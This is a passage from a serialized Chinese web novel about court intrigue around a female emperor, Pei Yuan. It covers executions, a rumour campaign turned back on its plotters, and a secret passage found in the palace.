“陛下问你话呢!哑巴了!”陆萧玉说话间,猛地抽出刀剑。 公孙白秋的脚踝瞬间鲜血淋漓,她疼的全身颤抖,半张着口,粗重地喘息着,良久,才终于从喉咙深处挤出一个字:“是。” 裴源侧倚靠背,姿态慵懒,手指轻轻摩挲着黑玉扳指,听她作答,才随意又道:“分配不均生了龃龉?” 公孙白秋一愣,额头上的汗珠沿着眉骨滑落,聚集在睫毛上,随着她微微颤抖的眼睑,滴落在地面,砸出一朵小小的水花。她似在思量言辞,却又顾忌身后侍卫手中的长刀。上次能毫不留情地刺穿自己的脚踝,难保下次对准的又是什么位置。 “草、草民不懂陛下之言。” 裴源闻言,嘴角微微勾起,似笑非笑,语气却依旧平静如水:“皇陵日夜有禁军把手,戒备森严,里面既有六皇姨母的人,也有朕的眼线。你的发丘之技再高超,也不能次次轻而易举地将千余件陪葬品毫无受损的带出。除非有人里应外合,替你望风、调遣禁军。权势如此之大,除了裴若淑,朕也想不到别人。” 她抬眸望向天际圆月,月光如水,洒在她清冷的面容上,仿佛她说出的话,都显的轻描淡写了几分:“折腾了一夜,朕也累了。朕此行只为金银,你若执意护主,朕也懒得浪费心力,成全你便是。” 公孙白秋闻言,鹰眸微微流转,似在权衡利弊。她沉默片刻,声音微颤:“草民深知罪孽深重,死不足惜。可草民那一双儿女无辜,若陛下能予他二人一条活路,草民定知无不言!” 裴源轻笑一声,笑容里带着几分冷意:“朕给了你三分颜色,你竟还真拿自己当个东西了!竟还与朕讲起了条件?” 裴源起身,目光扫过所有在场所有榷场管事,语气轻飘飘的:“全部绞杀。” 语落,裴源再懒得看众人一眼,抬步而去。 陆萧玉闻言,尚未等公孙白秋开口求饶,就已然挥出了手里的长刀。 抽回长刀时,残存的血迹比公孙白秋脖颈上喷涌的鲜血先一步淋溅在众人脸上。血液炙热,烫得众人全身瑟缩。随后,就见公孙白秋的头颅缓缓滚至人群,鹰眼圆瞪,虽已无半点生机,可恐惧的神色依旧挂在脸上,挂在嘴角的那句求饶之语,再也没有了说出来的机会。 “啊——” 尖叫声在夜空炸响。紧接着,便是此起彼伏的哭喊求饶,声声哀切。 居望舒再顾不得其他,几乎用尽全力挣脱了侍卫的桎梏,直接冲跪到裴源脚边,抓着她的脚踝叩头求饶,声音带着哭腔,语无伦次:“小源,小源饶命!我知道,我什么都知道!她们还有一处藏银地,除了公孙白秋,就只有我知道!留我一命,拿我当个马前卒,探路狗也是好的!小源,你是了解我的……啊——” 她未尽的言辞,被出鞘的利刃终结。乌宛白的动作干净利落,长刀划过居望舒的手腕,鲜血瞬间喷涌而出。居望舒不可置信地看向自己被斩断的手,眼睛瞪得浑圆,似是从灵魂深处发出了一声惨叫。 乌宛白随手扔了抽出来的长刀,“叮——”的一声落地,清脆而刺耳。她才狠狠地啐了一口:“呸!哪个茅坑里钻出来的蛆虫,竟敢直呼陛下名讳?死不足惜!” 说着,乌宛白屈身掰下居望舒紧握裴源脚踝的手掌,随意扔在地上,任其与尘土混杂。才躬身引路,语气恭敬:“天黑,陛下慢些走。” 裴源沉默片刻,抬手搭在她的腕上,阔步走出了庭院。她没有回头,任由身后的惨叫声四起。直至走远,才问:“何必这般动怒?她招惹过你?” 手上残留着居望舒的血渍,乌宛白视作污秽一般,拼命地往衣服上蹭。闻言,恭敬回道:“奴婢没有动怒,甚至与她素不相识,奴婢只记得宁瑞郡粮仓的那把火,是她所燃!当年,陛下赈灾不利,不仅惨遭百姓误会辱骂,更遭先帝斥责鞭笞。三伏天,您的后背血痕纵横交错,衣物黏连在肉里,上了药不见好转,复发、恶 臭、高热不退。要不是陛下福大命大,您恐怕……” 她说到这里,声音微微哽咽,却迅速收敛心神,长吸一口气又道:“陛下的玉足被此等狼心狗肺之人紧握,奴婢见了心生恶寒!恨不得将她千刀万剐解气!” 裴源听闻,沉默良久,才轻声说道:“人心复杂,事无绝对。她有她的道理,朕亦有朕的疏漏。朕轻信于人,也轻视了她的仇恨,虽惨遭背叛,自此,也沉稳了许多。” 她顿了顿,语气中带着一丝自嘲:“可惜朕忘了当年的感受和心境,否则,待人处事,想必会更严谨一些。所以而今……人人都能瞧出朕与先前的不同。” 裴源的声音缓慢,似乎在自言自语,又似乎在说予乌宛白听:“很多时候,朕在想从前的自己,到底是何种模样?又为何那个模样?” “乌宛白……”她默了默,又轻声启唇:“朕有时,是真的很惶恐。” *** 玉镇榷场原建在商贾云集、人声鼎沸之地,可自公孙白秋接管榷场,欲遮掩自己的行止,便下令将榷场迁往远离尘嚣的山丘之间。 新址占地数亩,四周群山巍峨,仿佛与世隔绝,遗世独立。唯有蜿蜒曲折的山道通向外界,而那山道也只有初一、十五前后,才会对外开放。 榷场之内,不仅有供客人休憩的客栈、酒馆,还豢养护院护卫千人,皆是精壮之辈,日夜守护,戒备森严。场内粮草充足,早已实现自给自足。因此,周遭并无其他百姓居住。 倒是为凤帝此行省去了诸多麻烦。只是连绵的山丘上,树木横生,枝叶繁茂,打下的阴影层层叠叠,远远望去,无比阴森,令人不寒而栗。 裴源远眺着连绵的山脉,似要看穿山脉,将视线落在一山之隔的避暑山庄上。 仔细回想,两处建筑虽在细节上有所不同,但整体风格却出奇地统一,仿佛出自同一人之手。 乌宛白似是看穿了凤帝的心思:“奴婢等抵达避暑山庄时,那里已然人去楼空,唐香菱亦不见踪影。”她微微一顿,斟酌着措辞,声音里带着一丝凝重:“君后猜测,或许是有人走漏了风声。” 此次奇袭本应隐秘无踪,知晓内情者寥寥无几,除随行的几位后君,便只有凤鸣卫众人。 裴源似早有预料,闻言面色如常,无半分情绪波动。良久沉默之后,她似有了决断,迈步前行,启唇说道:“传朕口谕:凤鸣卫乃朕之股肱亲卫,屡次为朕出生入死,蹈锋饮血,其忠勇之志,朕铭记于心。此番出行隐秘,朕不便大张旗鼓表彰功绩,唯取此行所得金银一成,犒赏所有凤鸣卫,以彰众人忠心之举。同时,此行不幸罹难者家属,朕另行厚恤善待,抚慰其哀,以慰英灵。凡得金者,若有去意,随心而为;而愿继续为朕效力者,朕必保其家眷安康,无后顾之忧,待朕坐稳皇位之日,另行恩赏。望尔等知晓朕心,勿负朕望。” 乌宛白愣在原地,许久才缓缓找回自己的声音。她声音微颤,带着一丝难以置信:“即便一成?那也差不多上百万两了。如此封赏下去,怕是……” 裴源打断她的话道:“天下百姓是朕的子民;替朕出生入死的凤鸣卫,亦是朕的子民。给谁不是给?” 她言罢,阔步向马车行去,步伐沉稳有力:“收买人心,除去真心,不过钱权二字。朕都能大方予之!若朕如此宽和善待,她们还要背叛朕,届时,也莫怪朕心狠手辣了!” 第54章 第54章晋江文学城 十五那晚的拍卖会后,大晟首屈一指之拍卖重地玉镇榷场,突然着起了大火,数亩之地尽成火海。 熊熊烈焰,热浪翻滚,无人敢近。 地方县衙差役无从下手,还是凤帝在朝堂听闻此事后,忧心附近山林深受火海波及,忙调配京兵前往,尽数铲除附近树木,以防大火蔓延。 榷场的大火焚烧了两天两夜,终被一场暴雨熄灭,可那榷场,自此只剩一片焦土,令人咋舌。 此事很快在京城流传,有百姓提及,曾在十五那夜,看到了展翅翱翔的火凤凰,扑腾翅膀时,掉落了一片火羽,似就是那片火羽,焚烧了榷场。 许是上天不忍孽畜火炼人间,故而降下了一场暴雨。 流言愈演愈烈,最后,矛头竟竟直指凤帝。 有人说,凤帝乃丙火日生,携山下邪火降临人间;今年恰逢大林木年,木生火旺,乱象丛生。 民间流言四起,有人诬陷凤帝,亦有人挺身维护。其中一位名唤蔚静的娘子,以犀利之舌斥责百姓愚昧,为凤帝正名,一时声名鹊起。 不料数日后,蔚静前往栖霞寺祈福留宿,当夜寺中竟忽降异火,那火化作羽毛形状,来势汹汹,焚毁了大雄宝殿,还将蔚静所居客房烧成了焦土。 幸得寺中住持叩天求雨,方保全寺庙万全。 好巧不巧,栖霞寺亦建于山中,此事一出,凤帝为孽凤之说的言辞,愈发甚嚣尘上。 很快,镇守皇陵惨死的裴若淑为甲木日生人的消息,也传入了民间,有人担忧:凤女凤孙都能被凤帝克死;那普通甲乙木生人的百姓,焉有活路? 百姓无不惶恐,更有传言道:每至木年,必有灾祸,唯有寻得壬水日生的天命之人,方能破除魔咒,保全国泰民安。 不久,一首童谣传入皇城:“火凤违天命,焚山起祸端。天降壬水雨,方能正乾坤。” 于是,当日便有朝臣附和此诗:“为了天下安宁,应该马上找出这个壬水天命人,以此镇压陛下的邪火。” 此言大不敬。 所以话音一落,宣政殿针落可闻,百官之首的齐翁更是下意识转身望向诸臣,终在一众武将中,寻到了说出这番话的女人。 面对众人的注视,刁天晴似还在状况外,直至小凤帝的声音打破殿中死寂。 “邪火?”小凤帝的声音轻得仿佛只是自言自语,言此,更忍不住笑出了声:“自古帝王皆承天命而临,携最正凤气,睥睨人间。可在刁爱卿眼里,朕竟与邪祟无异,还需镇压?那敢问刁爱卿,这壬水天命人该去哪找?找到后,又要如何镇压朕?” 刁天晴只觉得一股寒意从脊背直冲脑门,她的脸色瞬间变得惨白,毫不犹豫地匍匐跪地,重重叩首:“臣乃武妇,性子莽撞,不似文臣那般能言善辩,若有冒犯陛下之处,纯属无心之失,还望陛下恕罪!” 宣政殿内再度陷入死寂,仿佛连空气都凝固了。 刁天晴不敢抬头,膝盖下的冰冷刺骨,可她后背的衣服却已被冷汗浸湿。 过了许久,小凤帝那阴恻恻的声音再次响起:“朕在问你话,刁爱卿为何顾左右而言他?怎么?朕如今问话,刁爱卿都不屑回了?” 刁天晴心中一紧,额上的冷汗如雨落下。她咬了咬牙,硬着头皮说道:“陛下,臣性子直率,头脑简单,适才只是一时口误,绝无半点不敬之心。还望陛下明鉴!” 裴源微微眯眼,几息沉吟,冷漠启唇:“既然是性子直率、头脑简单,朕也不必过分苛责……” 刁天晴紧绷的神经瞬间一松,还未来得及谢恩,便听小凤帝继续说道:“便当众绞了刁爱卿的舌头以儆效尤,免得谁下次再不小心‘口误’,丢了小命得不偿失!” 乌宛白当即高声喝道:“刑官上殿!” 刁天晴全身一僵,毫不犹豫地重重叩头:“陛下恕罪,陛下恕罪啊。” 刁天晴身为武将,可此时竟软弱无力,只能凭借本能向同僚求助。可那些平日里把酒言欢的姐妹们,此刻却皆是作壁上观,冷漠以对。 她只能手脚并用地朝着齐翁的方向爬去,狼狈不堪。 禁军动作利落,很快便行至殿中,将其压制。望着刑官手中的利刃,刁天晴瞳孔骤然紧缩,她拼命嘶吼:“齐翁救命!臣绝非有意,臣真的绝非有意!” 齐翁面色漠然,语气沉凝如山:“你说自己性子直率,头脑简单,那便该是一言一行皆出自本心,又何来口误一说?陛下乃天命凤女,得先帝亲传帝位,却被你称作需要镇压的“邪”物?此番大不敬言辞,将陛下置于何地?又将先帝置于何地?陛下仁慈,只绞了你的舌头,你还不速速谢恩?你看看你如今这副模样, 哪里还有武将的英姿傲骨?” 刁天晴闻言自知难逃,瞬时泄了周身之力。随着刑官手起刀落,口舌鲜血喷涌,刁天晴彻底晕死过去。 裴源一脸嫌恶的看着殿中一切,终于忍无可忍:“这些荒诞不经的天灾异象,分明是有人包藏祸心,意图谋朝篡位!百姓无知以讹传讹便也罢了,你们一个个熟读圣贤,拿着朕的俸禄,不知为朕分忧,竟没入草包文盲之列?随波逐流,煽风点火,还拿此等谬论在宣政殿中扯些狗屁。朕养你们都不如养一群猪!” 看着殿中晕死的刁天晴,众臣方知凤帝今日动了大怒,自无人敢再出头胡言乱语,当即齐齐跪地叩首:“陛下息怒。” 凤帝懒得多言,冷哼一声后,拂袖而去。 早朝不欢而散。 直至坐上御撵,裴源情绪依旧阴沉,面容更如腊月寒霜,冷漠如冰。 乌宛白不知如何安抚,只知裴源连书房都不愿踏入,径直回了紫宸殿。殿门紧闭须臾,乌宛白便隔着门板听到凤帝歇斯底里的怒吼,以及瓷器碎裂的声响。 彼时,殿中一片狼藉,桌案被清理得干干净净。殿中陈列的器物无一幸免,甚至连凤椅之后悬挂的舆图,也惨遭捶打,纸张被撕得七零八落,散落一地。 看着满地狼藉,裴源长呼出一口浊气,仿佛将心底深处的郁闷,全部倾泻而出。 肆意过后,无比疲乏,裴源不管不顾,一席地靠墙而坐阖眼缓神。只是静坐一会儿,忽而感觉脖颈后方阴嗖嗖的,仿佛有风从墙中涌出。 裴源眉头紧蹙,下意识回头查看,才发觉黑色墙砖的缝隙隐隐透着玄机。 裴源急忙反身查看,最终在一处不起眼的墙砖上发现了一个圆形凹槽,那凹痕与是墙砖的图案混为一体,拇指粗细,裴源心下一动,取下黑玉扳指试探性的置入其中,巧的是,过程不但无阻,且深入后,扳指与墙体严丝合缝,混为天成。 可惜,扳指入墙体后,墙面并无异动,她试着推动墙面,亦无反应。想将扳指取出也无处下手。正要再行探查,殿门忽而被人叩响。 “陛下。” 是君后。 裴源急忙收敛心神,端坐凤椅:“进。” 殿门开启,看着满殿凌乱,陆长行先是一愣,随后一脸担忧的看向女子,女子面容平静,只是神色稍显阴郁。故而阔步行至女子身侧,俯下身轻声唤她:“陛下?” 裴源一言不发,却让出了一块空位给他。 陆长行并未推辞,入座后,察觉她情绪还算沉稳,方才缓缓启唇:“先帝登基的第五年,天空突然出现罕见的日蚀之象,白昼瞬间变得昏暗,如同黑夜降临,过程整整持续了半个时辰,在民间引发了巨大恐慌。于是有人趁机散布流言,称先帝德行有亏,甚至妄言先帝并非天命所归,动摇朝野上下。” 他言此,伸手揉了揉凤帝的头:“天狗吞日,乃大大的不祥之兆。陛下的‘山下邪火、焚山起祸’之说相较,倒显得小儿科了。” 裴源闻言轻哼一声,没好气道:“谢谢,有被安慰到。” 陆长行听她语气,便知其情绪已缓,心头紧绷的神经一松,人也更加自如。 “至尊帝位高不可攀,人人都以为其上风景迤逦,故而妄想争夺,取而代之。”陆长行话音一顿,偏头看着她的眉眼,语气愈发沉静:“那从不是陛下的错,而是人心贪婪,总有人想攀附不属于自己的东西。” 裴源闻言,不喜不怒,只淡淡道:“至尊帝位的确高不可攀,却也并非不可撼动。世间能人辈出,比朕做得更好的大有人在。所以究竟是他人妄图染指不属于他们的位置,还是朕执念于这帝王之位不肯放手,不过是立场使然。” 陆长行微微蹙眉:“陛下何必妄自菲薄?您于八卿中脱颖而出,又得先帝遗诏,这已然说明您的能力和天命所归。何须因他人三言两语而动摇自心?” 裴源轻叹一声:“朕本就是平庸之辈,枉得尔等高看罢了。”说罢缓缓起身步下凤椅,朝着内室走去,背影显得有些无力落寞,语气中亦带着一丝疲惫:“朕累了,君后自便。” 陆长行自觉失言。 流言之说甚嚣尘上,裴源连日应对早已焦头烂额,此时,她想听的或许并不是安慰之言。 所以,追至内殿的陆长行一见凤榻的床幔落下,便悄然不在出声,只默默颔首侧立榻前。 从前,紫宸殿总是幽深昏暗,即便烈日当空,凤帝亦命人将门窗紧闭,窗纸厚重,殿内更是不许留人伺候。可前些时日,凤帝竟破天荒命内秩署以薄纱换下厚窗纸,阳光穿纱而入,洒下迷蒙光影,殿内多了几分柔和与明亮。 陆长行透过薄纱再看窗外一物一景,皆如梦似幻,影影绰绰,恰似女子的心事,虚虚实实,难以捉摸。 殿内一片寂静,连呼吸声都显得格外清晰。 彼时,凤帝的手缓缓探出床幔,纤纤玉指垂落床沿,静静悬在半空,不知是随意之举,还是有意为之。 柳叶眸微微凝视,须臾,陆长行缓缓伸出手,带着一丝小心翼翼,试探着去碰触她的指尖。 指尖相触,不过一息,整个手掌便被女子一把紧攥,女子微一用力,便将陆长行扯入床幔之中。 凤榻之中光线阴暗,亦密不透风,凤帝将他压在身下:“君后不走,站在那紧盯着朕,莫不是想热死朕后,继承朕刚刚充盈的私库?” 陆长行羽睫微颤,轻声说道:“臣刚刚说错话,惹了陛下不快,所以进退两难,唯侧立静候陛下的责罚。” 裴源轻哼一声,没了扳指在手,手总是闲不住。索性缠了他一缕青丝在手,来回搅弄:“竟又成了朕的不是。” 似看出女子情绪落寞,陆长行只得说道:“流言是把双刃剑,陛下何不借力打力?” 裴源有了几分兴致,只是空气太过闷热,故而一把扯开了床幔。明亮的光线瞬间涌入,两人同时阖眼,短暂适应后,裴源才问:“说来听听?” 陆长行并未起身,反而寻了个舒服的姿势,看着身侧盘膝而坐的女子,说道:“那栖霞寺的住持,上能叩天求天公降雨,却降不住一只作乱的精怪,属实说不过去。” 裴源沉吟两息:“若他就是孽凤本凤,贼喊捉贼呢?” 陆长行微微一笑,语气温润如玉:“那一切的不合理,便都变得合乎情理了。” 他轻轻握住她的手,轻声安抚道:“陛下性情良善,为人坦荡,不屑于用诡谲手段,更不会以恶度人。正因如此,那些上不得台面的鼠辈才敢频频作乱。这绝非陛下的错,陛下亦无需迁怒于自身。” 裴源似有所触动,低垂的凤眸渐渐泛起晦暗的光,似有波澜在心头涌动。 陆长行不忍见她黯然模样,心下一软,起身将她揽入怀中,轻声说道:“大臣若不得用,陛下还有臣、还有诸君和凤鸣卫。陛下不必事事都要逞强,只要您愿意,臣愿为陛下赴汤蹈火,万死不辞。” 裴源只觉得胸口有些发闷,深吸一口气后,才低低说道:“事事都靠君后,那朕这个帝王,岂不是显得很没用。” 陆长行轻轻拍着她的背,声音温柔却十分坚定:“陛下肩挑万民大计,抗的是天下大事,那些不入流的小事,本就不该让您浪费心力。交给臣来办,可好?” 裴源沉默须臾,最终轻轻点头,妥协道:“君后打算怎么做?” 柳叶眸闪过一丝锐利的光,男子沉声道:“自是以其人之道,还治其人之身。” 第55章 第55章晋江文学城 是夜,窗外风声柔和,户对上的宫灯透过薄纱映入紫宸殿内影影绰绰 ,殿内殿外一片温柔祥和景象的…… 如果凤榻上的西门眙,没有被卷成墨西哥鸡肉卷的话,想必气氛会更加自在。 夜风吹入殿中,红烛摇曳间,映的西门眙的脸颊无比红晕。 裴源不知乌宛白如何传达的旨意,但事已至此,只得俯身凑上前去:“小眙,摸着良心说,朕对你咋样。” 西门眙圆眸轻眨,迎上了凤帝的注视,女子眸色正气凌然,全无半点情爱之欲,他心头燃起的旖旎不自觉的便消散了大半。于是,西门眙开口道:“陛下待臣……一般。” 裴源:“……” 似见女子神色有些尴尬,西门眙微微一笑,又道:“不过相较于其他后君,陛下待臣也称得上和颜悦色,稍显不同。” 裴源松了口气,替他捋顺了额前青丝,缓缓又道:“知道朕为何待你与众不同吗?” 西门眙眨眨眼:“不知道。” 裴源正色道:“因为你聪明勇敢有力气。” 西门眙一头雾水:“聪明勇敢倒是真的,可臣……并没什么力气。” “怎么没有?”裴源一本正经道:“整个后宫,只有你,大钵敲的是最响的。” 西门眙想了想:“他们侍寝前,不是不做法事吗?陛下如何得知臣敲的最响?” 裴源:“……” 裴源摸了摸鼻子:“那不重要,重要的是,你是朕最最信任之人。” 西门眙轻‘嗯’一声:“这个臣知道,陛下在石室中说过。” 裴源点点头,颇为郑重道:“所以现在,朕要与你分享一个秘密,而这个秘密,整个后宫,整个前朝,甚至乃整个天下,再无第二人知道。但朕今日,打算告诉你。” 西门眙沉默不语,心底莫名生出一丝不好的预感。 裴源以为他是被震撼到了,故而屈身趴在他的耳边,一字一句道:“你绝对想不到,朕的紫宸殿,藏着一个暗室。”她言此,叹了口气:“只是前些日子朕头疾复发忘了点事,忘记怎么打开了。你一定会帮朕的,对吧?” 凤案后重新悬挂了舆图,殿中的陈列也早已焕然一新,除了裴源黑玉扳指依旧嵌入墙中,一切较之从前,仿佛都没什么不同。 为了打开那面墙,裴源可谓绞尽脑汁,可一晃七日过去,依旧束手无策,无奈,她只能求助西门眙。 西门眙闻言,蓦地松了一大口气:“吓臣一跳,臣还以为陛下不行呢。” 裴源:“……” 裴源无语道:“小孩子家家的,不要总想着少儿不宜的事。”说着,起身将寝衣扔给了他:“朕在外面等你。” 说完,忙不迭地的退出了内殿。 彼时的栖梧宫,同样灯火通明。 郭嘉安凝着茶杯中舒展的嫩芽,淡漠启唇:“京中接连数家商铺被盗,失窃金额高达数万两白银,京兆府对此束手无策,所以各商铺掌柜已开始聘请江湖高人坐镇铺面了。”他言此,桃花眸微挑:“还继续吗?” 近来,关于‘孽凤’流言渐熄,反倒是另一则传言甚嚣尘上。 一盗窃团伙潜入京城,偷盗手法高超,所到之处从未落空,令人防不胜防。无奈之下,各商铺掌柜只得报官。然而,京兆府连日搜捕,不仅毫无收获,其间更有铺面屡屡失窃,金银屡屡不翼而飞。 众掌柜心急如焚,只得自行出资,聘湖高人坐镇,追查盗匪。 陆长行啜饮一口清茶:“既有高手坐镇,想来行窃不易,缓上几日再说。” 郭嘉安侧倚凭几,姿态闲适:“几日?” 陆长行淡淡道:“七夕将至,栖霞寺自会聚集诸多拜观音的男女,人多口杂,才更热闹。” 郭嘉安沉吟片刻:“够狠。” 陆长行神色无半点波澜:“佛家讲究因果,无论果子是甜的还是苦的,都是他自己种的。” 郭嘉安不置可否,见陆长行面色不虞,忍不住开口调侃:“西门眙虽未生得芙蓉面,却也率真可爱,我见犹怜。”他轻叹一声:“不知陛下今夜会与他缠绵几何。” 陆长行紧攥茶杯,面色却如常平静:“自十五后,你便躲着陛下,怎么?不小心暴露了野心于人前,害怕被陛下嫌恶?” 郭嘉安眼睑微颤,妩媚的桃花眸都透出了几分阴沉:“人皆有欲,想想怎么了?陛下又不会怪我!” 陆长行:“哦。” 郭嘉安:“……” 郭嘉安讨了个没趣,不忿起身:“夜深了,君后若无别的吩咐,臣先行告退。” 说罢,拂袖而去。 陆长行并未介怀,一口饮尽了杯中茶,似觉长夜无趣,便起身道:“夜风清爽,本宫出去走走。” 解安躬身应是,命人收拾了茶案,正欲熄灯,忽闻殿中传来异响,他心中一惊,眼神微凝,循声踱步行至半身镜前,掀开了帘布,目光在镜身和四周墙壁上仔细扫视,却并未见钉子松动迹象,不免一头雾水:“是我听错了?” 说着,又将帘子重新罩好,全然不知一镜之后的帝君二人,此刻是何种惊慌模样。 直至确认殿中再无声响,西门眙才拍着胸口,长舒一口气:“吓死臣了,还以为解安发现了。” 裴源沉默无言,仿佛是愣在那里,直至西门眙凑上前,才骤然回过神,低语呢喃:“还以为朕的寝殿里藏着一个藏宝室,没想到,是通往栖梧宫的地道。” 见凤帝一脸落寞,西门眙急忙跟在其后:“君后就是陛下的宝贝啊。” 裴源脚步一顿,侧头看着他,眼神中带着一丝愕然:“你说什么?” 西门眙眨了眨眼:“那半身镜是封后大典前夕,陛下独赐君后的稀世珍宝。此镜阖宫独一份,照的人无比清晰,纤毫毕现,臣等皆是艳羡不已。臣今日才知晓,这镜子竟还藏着这般玄机。如此至宝,陛下唯独赐予君后,又暗中凿出这条隐秘地道,只为思念君后时,借此法一解相思。由此可见,陛下对君后的心意深沉隐秘。这不恰恰说明,君后是陛下的宝贝吗?” 裴源沉默不语,仿佛在思考着什么。西门眙看不穿凤帝的心思,所以在一旁喃喃自语:“陛下从前不苟言笑,对君后极其冷漠。臣当时还以为,陛下不喜爱君后呢。今日得见陛下心思方知臣大错特错……”他挠挠头,似想到了什么:“陛下喜爱君后,所以冷落他;那陛下从前待臣也十分冷淡,莫不是,陛下也十分喜欢臣?” 裴源:“……” 裴源再次迈步向前,随口回他:“从前不知,现在却是喜爱的紧。” “真的吗?”西门眙闻言眼眸微亮,忙小跑至她的左右,眼神中带着一丝期待:“陛下喜欢臣什么?” “喜欢你可可爱爱,没有脑袋。” “……” *** 几日后,闹得人心惶惶盗窃团伙,终于露出了马脚,有百姓报案说,曾在城外发现了那伙人的踪迹。 众掌柜听闻后,群情激昂,自发跟随京兆府的差役,一同赶往城外围捕盗匪。众人一路追踪,循着蛛丝马迹,最终竟来到了栖霞寺。为了尽快擒获盗匪,众人未与住持沟通,便直接带兵冲入寺内。 那日恰逢七夕,寺中香客如织,皆在焚香祈求姻缘。得知差役前来捕盗,香客们竟也纷纷高呼助威,加入围剿行列。队伍一路追至寺中后院,发现一间禅房格外可疑。京兆府官员毫不犹豫一脚踹开房门,却未曾料到,绑匪踪影全无,反而撞见栖霞寺住持正与一名女子在榻上纠缠,情到浓时。 刹那间,禅房内外一片死寂。 追捕的差役和百姓皆愣在当场,目瞪口呆。那位住持虽生得一张芙蓉面,但佛法高深,因而深受百姓敬仰,却未曾想竟在背后如此荒唐无耻。 随着住持一声惊叫,百姓中瞬间炸开了锅,指指点点,议论纷纷。 那女子见事情败露,竟不顾住持如何自处,匆忙穿衣逃窜而去。凑巧的是,她的衣着与盗贼极为相似,差役们察觉端倪,紧追不舍,抓捕时冲入另一间禅房,竟发现近期京城失窃的财物尽数堆放其中。 不过半日,栖霞寺住持与盗贼勾结的消息便传遍了京城的大街小巷。 京兆府在清点赃物时,意外发现几束烟花,点燃后竟现出羽毛图案;而那盗贼的真实身份也终于浮出水面,竟是玉镇避暑山庄的掌柜唐香菱。 只可惜此人功法了得,竟未捕获,京兆府 只得严刑逼供住持,那住持终扛不住刑罚,很快就交代了彻底,“孽凤”流言乃是唐香菱谋划,他从旁辅助。只为折损凤帝名声。 深究原委,他亦不得而知,最终扛不住刑罚,晕死过去。 此事很快流入市井,虽未得确切结果,但百姓自有评判。 百姓甲道:“那还用问吗?污名圣上,目的为何?自是为她的主子谋事了!” 百姓乙不解:“主子?什么主子?” 百姓甲冷笑:“敢称一声主子,又与圣上有仇的,除了那几位亲王?还有谁啊?” 众人一片哗然。 人群中,曾芩燕突然附和出声:“如此说来,玉镇榷场的那把火,恐怕也是此人的手笔。” 她见众人目光如炬,皆聚焦于自己,便微微一顿,继而缓声说道:“诸位不妨细思,那玉镇榷场多年下来,敛财无数,谁不动心?那避暑山庄乃是年前新起,选址恰与玉镇榷场毗邻,难保不是此人暗中遣人,先将榷场众人砍杀殆尽,而后又将财物席卷一空,再一把大火烧下去,嫁祸于陛下。紧接着,又与栖霞寺住持串通,编排出‘山下邪火、焚山起祸’的幌子,借此挑拨百姓对陛下的怨怼与不满。” 百姓闻之有理,无不唏嘘。 曾芩燕又道:“想来,先前镇守皇陵的世女裴若淑意外惨死,恐也是此人的手笔,借机挑拨陛下与宗亲的关系……”她言至此处,冷抽一声:“此人偷偷派兵入京,大肆敛银,污陛下圣明,如此种种……此人不会是要谋反吧?” 百姓甲怒道:“那如何使得?当今陛下虽显平庸,到底无过,因而民生安稳。可若亲王谋反,这京城必是血流成河。” 百姓乙也是恐慌:“那可怎么办啊?我这小店才刚有起色,若此时打仗,我这几年的辛苦可都付之东流了呀……” 百姓一时惴惴不安,无不惶恐。 曾芩燕见势,也是无奈,叹了口气,悄然离开了酒馆。 一道之隔的茶楼雅间内,南阳王目送曾芩燕远去,嘴角方才缓缓漾起一丝意味深长的笑:“要么不反击,反击便是下狠手。多年不见,本宫这五皇妹的手段凌厉,倒是长进了不少。” 戴玥抱剑倚靠在窗棂上,闻言冷嘲道:“这帮百姓果然愚不可及。昨日一个‘丙火克木’,她们惶恐不安;今日一个‘谋反之说’,便又惊得惴惴不安。真是莫名其妙!” 南阳王轻笑一声,正要开口,忽见街上纷纷抬首指着上空,窃窃私语。 南阳王不禁好奇,起身看向众人所指的天幕,可除了蓝天白云,并无异样,只得瞥了戴玥一眼:“去打探一二,发生了何事。” 戴玥点头应是,一个闪身冲出茶楼,片刻后,一头雾水的回来复命:“她们说,看到神仙了。” 南阳王:“???” 第56章 第56章晋江文学城 有神仙落在皇宫之说,不胫而走,传得沸沸扬扬。 其实那日,宫中巡逻禁军有瞧见宫墙上仿佛有人形光影一闪而过,以为刺客来袭,当即严加搜查,然一番探查后,并无丝毫痕迹。侍卫们唯恐惹祸上身,因而不敢声张,只将此事暗自压下。 谁料,此景竟被宫外百姓窥见。 一时间,众说纷纭。 有人说那神仙身着白衣,是翩然临凡的仙人;有人说他眉目如画,风姿绝世;更有甚者,说他手持浮尘,仙家道骨。 甚至有人绘下画像,白衣飘飘,玉树临风,竟是个圆眸清隽的少年模样。 凤帝看着与西门眙五六分相像的画像,兀自轻叹一声:“本是虚幻缥缈的影子,却在人云亦云中,渐渐勾勒出了清晰的轮廓。看来君后所言不无道理,流言是把双刃剑,端看自己如何利用了。” 乌宛白在旁为凤帝擦拭着头发,听闻此言,轻笑一声:“陛下应对‘山下邪火、焚山起祸’的流言,反击得真是漂亮。前些时日‘诗仙下凡’的美誉还未散去,如今又添了‘神仙降世’的传说。如今百姓们都在传,陛下乃九天童子谪凡,纵使遭奸人构陷,上天亦会屡屡降下神迹照应陛下,如今百姓啊,听不得一句斥责陛下的言辞,甚至有的百姓家中,还供起了陛下的画像,以求福泰安康。” 裴源静默须臾,轻声道:“福泰安康?朕自己都不敢奢望。朕心中所求,唯愿和平尔。” 乌宛白笑意微敛,但语气依旧温和:“陛下一心为民,上天会看到的,定会助陛下心愿达成。” 凤帝放下画像,阖眼休憩着:“兴许吧。” 乌宛白则继续擦拭着女子如瀑的长发,殿中一时静谧无言,唯有窗外的虫鸣时不时传入殿中。 彼时,一道轻微的脚步声临近,乌宛白似有所觉,余光瞥见月白衣衫的靠近,忙将帕子递给了君后,自己悄然退出了紫宸殿。 裴源对此一无所觉,只在良久后叹了口气:“万寿节将至,又到了国库空虚的日子。朕就想不明白了,给朕过生日,还让朕自己掏银子?你说说这合理吗?” 陆长行沉默无言。 裴源以为乌宛白不好作答,只得喃喃又道:“那王依萱从前跟在朕身边起草诏令文书时,也是个稳重妥帖不爱说话的,却不想一继任了礼部尚书,整个人都飘了,说今年是朕登基的第三载,‘三’在古来便有稳固、兴盛之意,是为祥瑞之数。故而几位亲王不远万里齐聚京城,朝野上下皆为此事奔忙。若寿宴太过寒酸,恐引人非议,损及朕圣威,你听听,她这是不是强词夺理?” 傅泽惠畏罪自裁,礼部尚书之位由王依萱暂代其职。此女原为翰林院学士,素来负责诏令文书起草,虽是齐翁举荐,裴源对她也颇为满意。 王依萱笔力不凡,行事稳重妥帖。礼部尚书的位子交到她手上,裴源心里也踏实。 只是此人过于执拗,不谙人情世故。 